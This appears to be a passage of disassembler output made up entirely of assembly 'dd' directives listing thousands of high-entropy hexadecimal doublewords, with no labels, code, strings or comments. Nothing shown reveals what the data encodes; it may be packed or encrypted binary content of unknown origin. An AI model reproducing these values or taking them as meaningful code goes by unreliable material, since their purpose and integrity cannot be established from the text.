2C891848h, 8073701Ah, 171D252Dh dd 0DF404683h, 108D77Ah dd 0D98F8h, 5BF51490h, 0F702E1C1h, 0F2E9D112h, 0FE019F43h dd 1706C75Fh, 90D9848h, 79E15D7Eh, 0DA0B17ABh, 245F37A4h dd 17E020B4h, 67A5A22h, 8D30A8B5h, 633BD002h, 63C331FAh dd 0C63D9838h, 22C75C85h, 4C016554h, 970505D9h, 13CF122h dd 4167DBD8h, 51E9D874h, 0C67C3937h, 8041C6Dh, 0F7921984h dd 66CF9453h, 0C643851h, 2366B800h, 21256B27h, 6AE2E2Ah dd 8342655h, 5A097B18h, 0DE4E0759h, 3B49B60Fh, 4B65CC5Bh dd 82A110F8h, 48045989h, 7F538855h, 4AC80518h, 0B765BCCh dd 0EE0977D8h, 7BF61803h, 27059BBFh, 0B09C84F1h, 890957D1h dd 0B08468E7h, 4A4BA95h, 0E93FEA39h, 369BA19Bh, 48D65275h dd 9E9259D9h, 5EBDF758h, 0B65C8383h, 7017447Bh, 2677AB1Dh dd 1132F8A8h, 42ED557Fh, 4457428Dh, 68500237h, 42C660C8h dd 7202CA41h, 0A7979D2h, 1B52784Ch, 0B01737A8h, 7BB32C79h dd 7D38222Ah, 385CC755h, 4D1D942Dh, 56E01063h, 424FE90Ah dd 0D671A0E8h, 0BBD0078Eh, 8157A048h, 421CD1F2h, 53DF4969h dd 0BA60A903h, 7CBE86Bh, 614B2425h, 0E29F0E05h, 0DA21EA20h dd 4A12425Bh, 0E6D22BE9h, 9D3451E5h, 7EAA83h, 0A7685358h dd 0E92E5011h, 2E311C2Dh, 0EA9CE981h, 0C4A1CA9Ch, 29391CADh dd 5E5D0149h, 3C450C68h, 0C04DCF0Eh, 0E18164E2h, 8F6551BCh dd 14EBC9D8h, 987CF119h, 0E045F549h, 0B93C9EE1h, 5D54550Ah dd 12884857h, 0B274C802h, 37C92118h, 2465F624h, 128E2BB8h dd 0A3789151h, 105C6804h, 9049CBA8h, 0F2965D78h, 131DE150h dd 0BB623CFh, 4F75F17h, 0ECCC7F1Eh, 2AA17EB8h, 4A850AD6h dd 0C3661047h, 7494313Dh, 1600BD0Bh, 29ED1DEBh, 89095BDFh dd 42C1E9F9h, 0FB434014h, 30A4220Dh, 69B145FCh, 39881416h dd 0F65D5DA3h, 3DEA83B1h, 6AE91F14h, 214741A4h, 0D91344C3h dd 0BD01786Ch, 604CE4DCh, 5E5C116h, 0F034CAC1h, 54E392A8h dd 0B9588B1Dh, 5D68C3EDh, 3A4BE294h, 57E10051h, 9179D7BFh dd 9FE92E44h, 5453E134h, 2D4265Bh, 883D18BFh, 32894015h dd 7191067Dh, 3BD7A6E9h, 0E7B5C281h, 0C18F29AAh, 4E0C123h dd 7C0B0858h, 6193251Fh, 0AF73507h, 0FAC631C3h, 0C957C358h dd 0B028348Bh, 8EFB0186h, 0C0063C5Dh, 0E9C0B70Fh, 78FD69BFh dd 0C95364A4h, 504EF56Bh, 36C968FBh, 65F7CD92h, 6660FA8Fh dd 433EB983h, 9BA27E4h, 1CA9B917h, 5D4B901h, 2968878Bh dd 0ACD2A695h, 0F79131E3h, 0A14DDDDEh, 0AB4FFC3Dh, 339061F1h dd 631EE9Bh, 305C0D25h, 0B4D5F5ABh, 0A194A16h, 2E745202h dd 545009D8h, 7E676D82h, 0C0EAC102h, 0B4E51E2Dh, 716B808Bh dd 295A3098h, 8759CB0Ah, 0C90761Ch, 0A741EE24h, 0D570D812h dd 0E1A52790h, 84C9B6A4h, 68038854h, 0E72A57D4h, 0BF0EC28Ah dd 1871D11h, 78E30BBAh, 6AFAD560h, 2EBD065Fh, 6CD04223h dd 6137B60Fh, 528B3B2h, 81D99354h, 2D450641h, 0C17E37A9h dd 59DAF3F0h, 25727B9Ch, 0F990D82Ah, 250732B8h, 0E0D164CCh dd 0D7D48CF4h, 60518862h, 1471E21Ch, 0DE5A10DCh, 98080121h dd 0EEC00364h, 0BC9B8002h, 93A0062Eh, 33B088h, 0CA81DAF7h dd 0CE05103Ch, 53A26843h, 0BBF638Ch, 5926485Eh, 1FEF2F60h dd 0F6A96D15h, 7505038Eh, 2A1DB411h, 0C8B10C4h, 508768C2h dd 0B1A96F8Dh, 0A6D874D3h, 21ECD962h, 61D78EEAh, 6B087ED2h dd 0B437ACF8h, 6F7CE29Bh, 8A78020Bh, 3ED0A34h, 0F3BBD9ACh dd 835BADD9h, 58E78816h, 267AF380h, 90C0806h, 6EA06602h dd 0D7300BB2h, 0C0145AF0h, 4A8503E7h, 38058600h, 266ECC3Eh dd 209FF001h, 604C9808h, 0DBEB774Eh, 550654Ah, 3AC7E7E5h dd 0BD7257ADh, 5E88E477h, 8DA51681h, 78528210h, 0E073EE47h dd 20C1094h, 59C80102h, 8E40C129h, 699311EFh, 0AC14DA3Ch dd 3EE1397h, 29060905h, 5E81B216h, 0ED30C283h, 72E4600Dh dd 32E6805Bh, 0D8ECF6A1h, 5AFE2CF6h, 0E1907454h, 594CCFE4h dd 85A07E66h, 832AB252h, 30278B28h, 16EE8BF8h, 22E924F5h dd 0A4BE80A0h, 4E20310Eh, 81D6F700h, 6F1DC5CEh, 0E9461554h dd 13EFE35h, 0DFB25925h, 0ECE96048h, 349359D7h, 3ADFD154h dd 0D3291486h, 0CD0D7C5Ah, 1268CB5Dh, 816BF04h, 3FC1FD00h dd 5FE94B05h, 4976092Eh, 95F22380h, 2905A277h, 0D18959CAh dd 9E5CF588h, 0E82527F5h, 68479196h, 753E3830h, 0E31AE424h dd 1DCEE9C3h, 0C9FA895Fh, 0E0103F44h, 0D3302EA9h, 69C40C6Eh dd 0B054984Dh, 5303A183h, 5D25E16Ch, 7198A546h, 5A65692Eh dd 4B1AB4C0h, 56520743h, 97E54CBEh, 98F2F5BDh, 7A2EE935h dd 5A9C3532h, 0E59EA0Eh, 0EE68C2D0h, 58D2A376h, 340A5F1Dh dd 265DA42Bh, 897DCA5Dh, 731D42EAh, 0A56884A6h, 293A343h dd 7F503C5Ah, 0F213C0D1h, 0E96D14CBh, 0F04C406h, 81307C29h dd 392C8BE8h, 3105925Eh, 3A9305E9h, 71C7A85Bh, 2D201C43h dd 37648308h, 14E5D829h, 500F9507h, 8147A009h, 763BB1F1h dd 0BA0C823Eh, 0F81B9543h, 73CD249Ch, 0A1CC6922h, 2E505120h dd 6277875Eh, 0D0E83CD2h, 5080C6D8h, 7DF00B8h, 0EA05189Fh dd 67036042h, 5258C531h, 5A86CD89h, 0E94C9C4Dh, 9F82C5CCh dd 92556C2h, 59A7E2FBh, 0F4554410h, 1D0C5D18h, 206B900Ch dd 4F0370DCh, 105EB67h, 8DEEF2DEh, 14170C08h, 1A2D20CAh dd 0BC9043C5h, 0BA525700h, 0F5282DB4h, 4CB0D969h, 4E982F71h dd 3829270Bh, 8A1A0062h, 1214C6E4h, 1E5AD789h, 0B2698140h dd 756DE970h, 0B6132066h, 0DA601764h, 41BBA198h, 9FF83DF1h dd 6082E716h, 66C9405Bh, 2EF2665h, 3E2400F6h, 0CA017619h dd 580880D0h, 83C1274Dh, 92D78832h, 0CA0FE1FCh, 932DAD00h dd 3B66431Dh, 0F40145Dh, 4A9F0559h, 0C53D5872h, 0DD68510Fh dd 215F6056h, 1C178C0Ch, 0CFC05EE9h, 285951BAh, 2915B2Bh dd 2A410609h, 49E3D2F7h, 0EF04A4BEh, 1A6D6A5h, 2CE9AF80h dd 82089626h, 1C947F2Eh, 6872AA80h, 34C15192h, 0DA578E7h dd 9B1DD481h, 242907C8h, 284986CFh, 0EAD80F8h, 64311795h dd 0A1B1F8C8h, 241967DAh, 81CB365Eh, 122DE986h, 0AAA1F97Ch dd 930128F6h, 311F1D06h, 2109FF29h, 813A2CBEh, 0EA8044B2h dd 647E5630h, 0D45A40F4h, 66D788DAh, 0E3C51E94h, 0E1867DD0h dd 80D112F6h, 0C8E609C1h, 81592AA5h, 7C4E6C86h, 5E54808Ch dd 0BE763D68h, 78256225h, 0BCEAD0Fh, 0B53C2FE9h, 93E61ED6h dd 206C4D7h, 30F66845h, 28CA2FAAh, 5CDC02BBh, 0EFC17ADDh dd 0E2989743h, 34FD6EAh, 0F3C5B817h, 16987002h, 0F659406Ch dd 40DD39Ch, 0A72D5EFAh, 3BD9422Ah, 509412E7h, 2C9E6B0h dd 571137E4h, 0CCC3E9C1h, 0A7D65A0h, 8123F64h, 0F9F656C0h dd 0EEC1A05Eh, 274D14D2h, 0EB41AF4Eh, 14E90800h, 4279B984h dd 58037D2Eh, 0D897BA5Bh, 51BD021Fh, 31013B4Dh, 0D47941FFh dd 36643373h, 0DC5E0D3Fh, 3E3194E0h, 5D9344C9h, 4011CE38h dd 0B6072D7h, 7A7E4383h, 0DBF70E3Bh, 0D58DEB87h, 450E309h dd 0B1924615h, 8771D39Eh, 0D0215C00h, 5A590992h, 0C00B8007h dd 0B24A840Fh, 77FF13B8h, 7CC20028h, 3155D55Eh, 5813F39Ch dd 9C4AD9A6h, 0BC0BBAFDh, 10D7D45h, 0E2C14A31h, 0A95ECB70h dd 3E923197h, 25E3B233h, 2410966h, 4C3D9FFh, 0EFB4B04Eh dd 792B5804h, 0BC80F329h, 48786AEBh, 0FB341FF2h, 0E90803E8h dd 6227853Fh, 1B3B1A5Ch dd 0B7C451h, 0C9BF5F29h, 32200664h, 0CF8BEA02h, 0BA6B509Dh dd 0F82159A2h, 2245E1h, 6E8C1h, 10289435h, 0F305484Bh dd 459D621Dh, 0B0433F42h, 0A82C1E0h, 714BD904h, 25E82DDCh dd 0CD8BE363h, 0B06D365h, 137ADE60h, 95EF789h, 26D96BF5h dd 3F280794h, 3D54B4D9h, 0F4BF9686h, 620BD227h, 744C5355h dd 0C6366025h, 49B69C42h, 76CCE81h, 0C89F200Ah, 6514D9FFh dd 88DFA8Ah, 0A414041Ch, 0FFE568C4h, 55696110h, 0FBFCBE03h dd 0EED1CD7Dh, 12A25539h, 0A4DD0018h, 31A146F8h, 0F57D648h dd 0E16985F6h, 151CE940h, 1F805154h, 3AB4881h, 0E9464E36h dd 212C7D73h, 841798DDh, 283BA839h, 306EE90Fh, 2A5E29BCh dd 0D2595852h, 82102669h, 0BC6439C2h, 5C7A3C32h, 15ED6E4h dd 3344F8D6h, 0A980C301h, 48135DD7h, 3001778h, 0CD35F32Dh dd 762FE9CFh, 35921423h, 0B254F8A0h, 27E066EAh, 6DFA5855h dd 0A75F1879h, 4BBD0C48h, 0D858F62Eh, 3094537h, 5AE7055Ah dd 0EDEB61DBh, 5B1899CDh, 29110232h, 0A2D60CFh, 348BCCA8h dd 0E9C3FB91h, 68E11F17h, 0BCC6A5EEh, 52301800h, 0F3BD5576h dd 1DC8000Fh, 0F581DDF7h, 6E287419h, 553D085Ah, 0EEC26052h dd 3B7B5B64h, 8B502920h, 9157D45Ah, 3C625E26h, 0FE0C9FD0h dd 8C9CC3h, 0D4F6CCFEh, 20CECC0h, 691F480h, 0E7301C42h dd 5BF80E58h, 0A1C3D33Dh, 87D302DDh, 3A361E40h, 816B5916h dd 106269C1h, 8404CC9h, 48444E6Ah, 0C20B76Bh, 0A84E5F76h dd 41E20FC4h, 0BCB0113h, 89C84714h, 92242F3Ah, 44279D79h dd 1618EC34h, 3C8C7DDh, 41EBE970h, 348F5724h, 4E85D06Fh dd 9AEA3C1h, 795FD568h, 71E1979Eh, 890EE53Ch, 68E8210Ah dd 0BC66102Bh, 3454AB9h, 3AC82527h, 4BE8D2F2h, 4701E280h dd 0C1B75366h, 5BD8FA28h, 0C8B42E50h, 0C5EE1820h, 9D7E1C77h dd 0E2D3593Ah, 2C0FBA7h, 5240D0B7h, 4A800FCCh, 3CBB842h dd 9D91245h, 7220D089h, 0B2520482h, 0ACCAFE86h, 6066038h dd 5BE9D2F6h, 5E2A1202h, 535918DCh, 0A1096851h, 51783362h dd 0FE0540CBh, 314B209h, 40C3C829h, 70F42D08h, 0E9601C0Fh dd 27DAF5B5h, 52D869FBh, 0D97544F1h, 217CE20h, 6843FC02h dd 896C6DD1h, 4C18F201h, 448E9BDh, 5273712Fh, 290642BAh dd 0CA745F62h, 242AAAB8h, 7E4A3AF0h, 0A45CE788h, 7E215C64h dd 0D1C20900h, 66A268E2h, 1C4F46BCh, 0C8D829B4h, 4369012Dh dd 0F801374Dh, 0E8074405h, 0C253DFF3h, 0BAE4080Eh, 1A349069h dd 51488CC0h, 0ADA2A42Dh, 7C6FE982h, 0F93504D2h, 0F90242BFh dd 0E14737C0h, 6BB8EDC3h, 4D25F748h, 35F05661h, 0AD63303Ch dd 8F891258h, 8A1E716h, 6602BEB2h, 52500128h, 0B6599468h dd 63EFFC1Eh, 0BE6F7792h, 0BB94C77h, 4AD87C28h, 0A71D8531h dd 20C64A2h, 0E943CC52h, 16037732h, 0E27594ADh, 0EE838027h dd 25220148h, 9CD2E602h, 0F090134Ch, 56505FAAh, 0C760B0B4h dd 67F78010h, 5BFD3928h, 0C51DDDBCh, 8CE9891Eh, 478FDF40h dd 562B6FB0h, 0C227C4BFh, 0E1A0D1CEh, 2C2FE95Ch, 0A5D22EA3h dd 0E6499B45h, 1A928442h, 382CAC01h, 6BD2CF04h, 0E6754764h dd 62F56912h, 1F72FAF0h, 26D15CB6h, 41F1072h, 0FD0899B7h dd 0A4EC07C4h, 2632A910h, 5B390D28h, 2EB29F07h, 19B84BE4h dd 7117B902h, 1CF05CADh, 425472FAh, 2CB953F4h, 400F12BEh dd 76638BD0h, 0C266097h, 0D45534Ah, 2D4FD6F6h, 1B8F7DCh dd 6CCB33C6h, 3005E0C1h, 5388D695h, 30E114B3h, 1C24A3DDh dd 2B27B67h, 5307C25Bh, 0DC25EB88h, 0AD509982h, 0D7676ECCh dd 0A20B7C2Fh, 6E9C1B22h, 1F6ABC5Ch, 68060FEAh, 4FEF3E1Fh dd 59BB0B94h, 0FEE7B040h, 8F49D4BCh, 29094B51h, 0B015E623h dd 42681267h, 107CE315h, 0DF4C068Fh, 0A38AF02h, 589B860h dd 0D0016660h, 0CBA4D1A3h, 144D761Ah, 830FD0A1h, 27224868h dd 160F71B9h, 0B98594Fh, 7C832EFBh, 5DFF40C8h, 563007B7h dd 0D8315E21h, 0BB6245DAh, 180DAF41h, 0BA65E991h, 74050079h dd 356EE438h, 7BB00C0Fh, 0B2C10124h, 0E3A2C512h, 12268E48h dd 5B5462ACh, 141825Bh, 0FE7252D1h, 0CF4A04D2h, 0F578904Ch dd 0E2F3FD88h, 0EA010968h, 0E9E09B9Dh, 0FD7DE27Bh, 84A497D2h dd 2C0DADD7h, 0DA600B1Ch, 16163F20h, 105AD301h, 298F0B3Eh dd 5628C775h, 3B6C27A8h, 5974103Ah, 9266545Ah, 70315EA9h dd 0D7667E56h, 0DB40275Bh, 74374BEBh, 0A09E9679h, 170CD008h dd 5633FF01h, 403936E9h, 0E2317638h, 0B4E7D8FDh, 1CDE5318h dd 6A860Ch, 874F6330h, 3D0EE9F7h, 0C9E888BEh, 5B3E84A0h dd 31590958h, 0B29E2F5Ch, 0C0B93C75h, 4BE56809h, 2D30CB46h dd 2EC68F26h, 0DF760BB9h, 7579F301h, 21BEB249h, 0F32CE9B3h dd 168BC745h, 69C52D02h, 59E00133h, 0FA837D3Fh, 0C121C20Fh dd 85F16E83h, 0F1138F72h, 68B70B79h, 5854C518h, 0C4BE055Ch dd 570B6EB4h, 5F135E71h, 0F61FDAF2h, 2CFF01D0h, 41EA801Dh dd 2614DB7h, 4F21645Ch, 7E8D1B55h, 0D4A2FD41h, 17DE20Fh dd 4B5BDF2Dh, 41E098C9h, 0AB7ECB3Ch, 0A03139E1h, 7505ED22h dd 2926491Ch, 8EBFB0Ah, 302A3426h, 18B55102h, 0C08DE580h dd 0EDD0CB4Bh, 0B730AA6h, 152FEC86h, 0B16961A2h, 3B3528E8h dd 0C160B017h, 0CAC1DC1Fh, 45C67D47h, 1021297h, 2A6304FAh dd 0CD9E3039h, 68227B16h, 0D3014E0Ch, 0E15B852h, 73891F27h dd 0F75DEA41h, 810480DAh, 3756ACE2h, 4B889522h, 25400781h dd 0DA31309Dh, 49BE895Bh, 0C0DC2A8Fh, 0E9D921BFh, 28695CBAh dd 41F15F80h, 0EE0B8194h, 84F536B3h, 2684FECBh, 10D00810h dd 0C10D7FD2h, 753A03E5h, 155AF8D9h, 1C207B4h, 0ACF2D9DAh dd 22054BE1h, 0F39840BBh, 0B1A5143h, 9FE9D8A3h, 0D8522559h dd 26C0EFF8h, 0B1514C04h, 58807B0Fh, 0EA785DC5h, 291B59CBh dd 1119BE0Fh, 0A7F68181h, 0EE0A871Ch, 46E725DBh, 7DEF7C3h dd 0E94B5C15h, 5B3ADC98h, 87E6297Dh, 741968FBh, 5E98C176h dd 74CBC020h, 0A53A1FBDh, 7ED4B7Dh, 0E59A5886h, 619DBA05h dd 2FF0225Ch, 902B8C2h, 7E92338h, 24B95960h, 6C013534h dd 6FB0F1C5h, 48910955h, 68C2F2E9h, 8E967CD0h, 19872D01h dd 13E944D3h, 7AA875h, 0FB2252E4h, 3BFA5E1Bh, 7ED84D4Bh dd 85BE0456h, 0A83FAE44h, 4E581BBh, 0D4307D98h, 85018275h dd 0A41748C9h, 0DF1E1D0Ah, 4C749FB9h, 8AC8298Fh, 1230AB56h dd 0C1585CE9h, 295AD06Bh, 277F61C1h, 5B510113h, 1C5F0959h dd 5527683Dh, 0AF28A24Fh, 238ECF5Ah, 0F8427C27h, 6FCAF6DCh dd 0CE82A81Dh, 0D8B6E921h, 3C6EE8D6h, 6FACEED0h, 0FA098EC4h dd 9227BBEBh, 0A167D55Bh, 107E380Ah, 8E4C1893h, 750B5C85h dd 0DE1580A6h, 22508603h, 2316EB92h, 0A3C31776h, 0FDFA0C1h dd 0BBFAA00Bh, 166C34Bh, 3A0757CAh, 3C691ABFh, 715EB140h dd 7169E9Ch, 0D0FCF781h, 99E94AD7h, 0C0533F5Ch, 6D6C2268h dd 4F5D7E5Fh, 0CBB18458h, 3DBF0EC2h, 4F2D2162h, 3F61D7F7h dd 60F540D5h, 167A2E20h, 0F176082Bh, 8D72825Bh, 748002C8h dd 0D00517DAh, 0E9D82923h, 5E496A31h, 21FDFB31h, 0E0A6149Fh dd 57F0AD7Bh, 6A64F5F2h, 0DA3B812h, 3327C704h, 100A844Dh dd 504C0893h, 2F46C911h, 4241440Ch, 5BFA5959h, 0E1B9688Ch dd 3458EA68h, 0CDD5CD13h, 0E02C3BEAh, 11F909B9h, 6900581Ah dd 62F24C50h, 671E1390h dd 0C146DD64h, 93606E3h, 34D261F1h, 23F8A780h, 455C1B1Dh dd 1A0E1CB1h, 0E587381Dh, 0F88F5812h, 3FBCC51Ah, 318C4B5Ah dd 0E7465DEBh, 297E4404h, 85ACDAE9h, 58C61276h, 0F66100D1h dd 17EC4845h, 4049E910h, 2DD00109h, 25B9367Ah, 0C9EC5045h dd 9C00D3B2h, 9F1143E9h, 3C8B2998h, 1B8121A6h, 9207235h dd 1A790D68h, 8C6691Ah, 5F0A2072h, 0E1255457h, 24BAD0E9h dd 5F51FEC9h, 96233AF2h, 5B2712FBh, 4C209B53h, 760E205Fh dd 7DC22D59h, 0FDF6D3CEh, 383D555Eh, 5169E02h, 2000BF58h dd 63683862h, 0AF299114h, 7F53C461h, 41482728h, 84C23DB8h dd 50092B9Dh, 0A57E621Ah, 34F6E635h, 0CC5A8B39h, 0BCD729BFh dd 0D4C91AF2h, 0E7B35460h, 0FAEBC03Eh, 255DDA49h, 68B6115Ch dd 0B76C78D2h, 0FB01F9B8h, 3630E914h, 3874054Fh, 0A9A87DD2h dd 5F089D73h, 18932C0Bh, 75EDE1F5h, 678D4714h, 210977D6h dd 8E9BA824h, 7C78258Fh, 0DE01D846h, 23054BACh, 0EA50FF98h dd 0B74FB031h, 0AF24E852h, 293CDFA5h, 5D4AF093h, 60F775BAh dd 0D1B231C1h, 500B6812h, 9A8DB9CCh, 46B2BDC5h, 2F000D78h dd 0F762415Ch, 0E994E9D3h, 0D82C448Eh, 13D3304Bh, 0B348982Dh dd 39681334h, 98D63407h, 0E9155320h, 768EF666h, 803D967Bh dd 0B789AA79h, 0EC5A5427h, 0E00CD311h, 6D3312Ah, 475830E3h dd 6F5E2624h, 0F9D68F05h, 0B3813968h, 6A15EB7h, 72B050C3h dd 0C40E6E2Ch, 6158C588h, 0C8FE59E8h, 27E956F0h, 833424DFh dd 435E8EA8h, 41C9A95h, 0CA12F4B4h, 46917ECFh, 0F95A6789h dd 0D362204Ah, 27835282h, 0E83AA514h, 84BF53D3h, 92C4565Ah dd 0C61D0812h, 5D0BFBD0h, 5D09C831h, 0C604E552h, 2D5E4A7Dh dd 0DCC77C82h, 0D1D0CD8Fh, 7D332050h, 0FB8B640h, 76C742DFh dd 14A23F49h, 76540C33h, 634C2C64h, 0EB068135h, 12A765AAh dd 37B0059Ch, 0C5450924h, 0CD7480CAh, 0C3B62ACh, 0B3F50111h dd 140787Ch, 7F40DC31h, 4FC6835Bh, 223B2902h, 485E27ACh dd 8141B89Bh, 2D65725Ah, 57903852h, 80707D68h, 4E4C25E9h dd 0F830A144h, 87790CF5h, 42468A4Fh, 0D2F810D1h, 4FA2454Fh dd 0D5CAA258h, 0CFE90957h, 0A4E5C40Eh, 744CD281h, 1547A96Eh dd 0BF80DE9h, 8007E8C1h, 0A95AE6F8h, 205EB001h, 0FC0ADEF7h dd 0B7F9AA0Ch, 9C5B2F00h, 98F30102h, 5E0881F4h, 0DEF2F531h dd 0DF047A6Ah, 0B584443Ch, 0C782010Bh, 6800D59Eh, 4BFD6AEBh dd 8413C06Dh, 24616973h, 9921950Ch, 92CCE9F4h, 0F85E5026h dd 75423F30h, 164A4E7Ch, 4232E77Bh, 0D82010A6h, 25FC404Bh dd 289C400Dh, 21C2D4Ch, 0E6E92088h, 0B130CB10h, 0F223550Eh dd 156C5A26h, 5C279807h, 596157A3h, 1C772712h, 1202C780h dd 730A587Ch, 3B081110h, 81010083h, 34ABA4F1h, 8B9A98CBh dd 0AFC6A5F0h, 1F16B769h, 778B2D9Bh, 0CB2AD95Ah, 0E9424051h dd 2F3774D2h, 0FD1C820h, 292D55A5h, 8241C674h, 0F292C20Ch dd 81DC0DAh, 38596494h, 7858E977h, 0F66C215h, 2D48E4B3h dd 0D368B499h, 2C27021Ah, 506E046h, 794B0248h, 87FE972h dd 4F2F94D1h, 0ACE9068Ch, 9EBDBEB9h, 62E91285h, 0E57A572Ch dd 2CFE2D6Ah, 0A249353Fh, 0D641D53Dh, 0C4106ACDh, 1239BD50h dd 8945C3F5h, 0F6C005EDh, 4CF4DCAh, 5DEA01FEh, 143C8057h dd 9900215h, 97C0A67Ch, 0F704D0EFh, 10294A3Dh, 715908BFh dd 1C81D193h, 796800DCh, 101BB70Dh, 6D055AC8h, 0BA296B4Fh dd 9E6999F8h, 0C9E942A0h, 2094F0ABh, 0F3FA82C1h, 0F1288810h dd 0CFD02914h, 0B418B10Ah, 9CE901FEh, 0FA015AF6h, 0A2B3D58Eh dd 0A4616213h, 3FBA5D71h, 40A5E678h, 18CBCCCBh, 0B32E8E9h dd 0EDA9B382h, 921A59EEh, 2AEC537Dh, 88D49DB4h, 124275A5h dd 9F26ED01h, 0E9C57253h, 6CF6E3E8h, 6B31CCD3h, 0E1AFEE29h dd 1A46F68Bh, 0DA5BE916h, 3AFB5642h, 62714263h, 0B5BF16E7h dd 0E9175C94h, 818D0543h, 536D15E5h, 42DEC303h, 0D8F92E8Dh dd 2D06815Bh, 3692603Fh, 0E97D56E1h, 5EF04062h, 8853D590h dd 0BA52D339h, 9B30A4DEh, 0F501FC11h, 0ABC0E285h, 0EAE9F301h dd 49752E46h, 24E96DCCh, 98E3B2B6h, 7ACE2481h, 58463F00h dd 4A5DBA52h, 11E7EDFh, 0EF7C08CAh, 20EAC111h, 0CCB0D274h dd 1AC6A5D2h, 0C0833DCBh, 266657D0h, 1918C885h, 0C52C6B81h dd 71D27052h, 75896D4Ah, 9853B2E1h, 805BC028h, 0B7E73F5h dd 0EDD091E5h, 0C0328459h, 15661FEh, 2A8459E1h, 0AB60E9D7h dd 8008D253h, 4BECA002h, 9A8984C7h, 4834843h, 45127A32h dd 647147A0h, 80DF9D38h, 0B725860Ah, 18DD1250h, 747E5516h dd 81413D4h, 2F424940h, 4B98C166h, 0C98100D2h, 753D47C7h dd 325DF614h, 0F76882FEh, 0D9C40F59h, 62F7D75Eh, 1748628Fh dd 351EE3EEh, 39C93F19h, 0B996EBC6h, 5A033CEFh, 81C48EE9h dd 0BF16C16Fh, 8C30BA2Ch, 0F247C341h, 1A9B3CC6h, 12D3D4DFh dd 0C5CB8A4h, 8F66C331h, 0B164AB86h, 2A3E765h, 5DEF0109h dd 3CBF9238h, 4A1B6695h, 57698272h, 3DFB6240h, 0BF371A00h dd 0C946D185h, 5EF73F01h, 315324h, 0B9A11A4h, 919A45E9h dd 430A834Ah, 68E2D15Eh, 13C7102h, 0B96CA2BBh, 0B7C94055h dd 0B216BCA0h, 0A939DE29h, 59BB412Fh, 0FE08760Dh, 44A58E51h dd 0F92F6105h, 0E375C980h, 0B07297EDh, 0A3B55111h, 3C73CDFAh dd 880DED02h, 0F4F9E9EAh, 376CC9E7h, 23E0520h, 0B2671EBFh dd 9EFE291Dh, 0D3DEB08h, 0D1B014F7h, 292720DBh, 0A0666900h dd 0F68FE4B9h, 2ED9F2BAh, 3D27415Bh, 77696E81h, 0E459CA01h dd 1918FDEAh, 0DC0C54A0h, 3F122025h, 7A28010Eh, 0E2C28A4Bh dd 6C980822h, 9B5CBB0h, 273BCEB3h, 0E546D0F7h, 0FEF30DD3h dd 9F87B7Fh, 0D37E9C7h, 527A5166h, 4C4A422Fh, 0B24946Fh dd 9480310Fh, 3D5AB6BEh, 0A0BF5778h, 8C051F78h, 0F0DC904Dh dd 68BB261Bh, 0B2EC135Fh, 7F583412h, 7378F800h, 0ED012DE6h dd 8069A44h, 12771768h, 200EFCE9h, 635AA9EEh, 40B21851h dd 9CA5554Bh, 0F329E704h, 0CBD2D3E9h, 4D9C8042h, 25B7C08Dh dd 0FD24D031h, 0C3742D59h, 15440F2h, 82ECF950h, 909A515Dh dd 0F668828Dh, 0E5767956h, 0E9D5805Ah, 874940Ah, 19280234h dd 0FAD0BA23h, 2596543Dh, 0D9EA512Eh, 0B35A6591h, 0B368C2B5h dd 27CC7108h, 0ACBC2293h, 0C83B3F7h, 0C94AE90Ch, 889C5F5Eh dd 0CE10FB2Ch, 0B09A194Ah, 45F07344h, 0F6EE2093h, 0BB28EA67h dd 6A307DD1h, 8DAE137Fh, 5C52A4A6h, 2FF49815h, 0FE28145Ch dd 80949Ah, 4E0CB7B9h, 4C64017Bh, 29EB59BEh, 0AC134992h dd 135E5A07h, 0A370BF68h, 2935405Ah, 560369B0h, 420F2B68h dd 0BC674813h, 553BEC25h, 68D4A1DAh, 0EBCAFE0Eh, 0C1A2419Eh dd 0E0504171h, 4C8F0A6Fh, 0D9263603h, 0BEA04994h, 5B8E0BDEh dd 0F7515F78h, 0E6593A07h, 0AF425D7Bh, 49D82B9Fh, 42A268F2h dd 0B40225CAh, 6A92523Ch, 282D1100h, 764CC87Ch, 504F495Eh dd 81317D0h, 968751B0h, 0D33470E2h, 8DACBD85h, 0C9BD893Fh dd 817A5400h, 4217C0CDh, 28087D1Ah, 22C16E7h, 0C3283D1Bh dd 2A6126E2h, 0D178346Bh, 3F093690h, 495AAB4h, 0F604D36Bh dd 0F820C5F1h, 83444E13h, 0C003203Fh, 0C7C107E1h, 0C2BD50E3h dd 8C4B6424h, 4C0A0083h, 951A8BEFh, 86090F47h, 525DFA52h dd 0C8F94094h, 1EB307E5h, 0B51600BDh, 5AF5308Ch, 4CEC5FEh dd 28278280h, 0B3353ECh dd 0A9102B73h, 0E33019EEh, 8B8F8E14h, 0A9D4CA4h, 0AD6BAF34h dd 27764CA5h, 0C0576A80h, 80B4BC0Eh, 6377DBBDh, 88893426h dd 5AE0E027h, 5EB02C1h, 0C45BE957h, 0C6654EFEh, 60C4B0C4h dd 0CDC4CCA2h, 52CF1EADh, 16EC0551h, 4DC47BA8h, 0FADCB4BEh dd 6DDA0C01h, 8106E1C1h, 3A202270h, 0D8A6638Fh, 0E63FBFEEh dd 7FBF5700h, 3146182Bh, 4A08FE58h, 0BA7ABE21h, 0F392F93Ch dd 58AB5CF2h, 784F69CEh, 8AD84B19h, 33523F69h, 0B3D2AC6h dd 462CE813h, 0E31BC06h, 0AF4E597Fh, 62ADB382h, 804956ECh dd 5A3F7B05h, 0B00B2D38h, 841CAF5Bh, 0BE0056A6h, 0F8A61BAh dd 24F2013Eh, 0B8AD0F87h, 81458F37h, 0A00A512Dh, 0DE292DF5h dd 0A8B0BBD3h, 5A6DECACh, 28EACD56h, 65D68957h, 78E90414h dd 0DB39EF5Ah, 9680520h, 35717ACDh, 0C282DA46h, 0F7FEFA01h dd 810889D7h, 9851D2EEh, 0E76F58A1h, 7668722Dh, 33BC125Fh dd 0E1109349h, 0D096E568h, 82141DD1h, 7B1825C5h, 0F62CE285h dd 9EC14E30h, 0B7780C36h, 75A2E096h, 0B6B53BB2h, 419290A1h dd 0BE0E6FCAh, 7EF50F79h, 0BFD28065h, 7A442658h, 0EA76480Ch dd 316FC580h, 0CCED07F5h, 613024DEh, 39151875h, 6D1B407Dh dd 6CED201h, 5AE9EB89h, 99B6123Fh, 4BFA52C8h, 0B907A2D8h dd 675365E1h, 0AF03FAA2h, 1F2CA169h, 8E3D2728h, 4361C805h dd 0F1348976h, 0E90C486Ch, 681F5425h, 9D3720D7h, 0F8F1B793h dd 0FBB025BBh, 4BF9F1CCh, 36277E77h, 0F800EBD8h, 0B03EB875h dd 5BD5409Ch, 76CA0500h, 0F82904E5h, 407A22Dh, 0C1DBFE2h dd 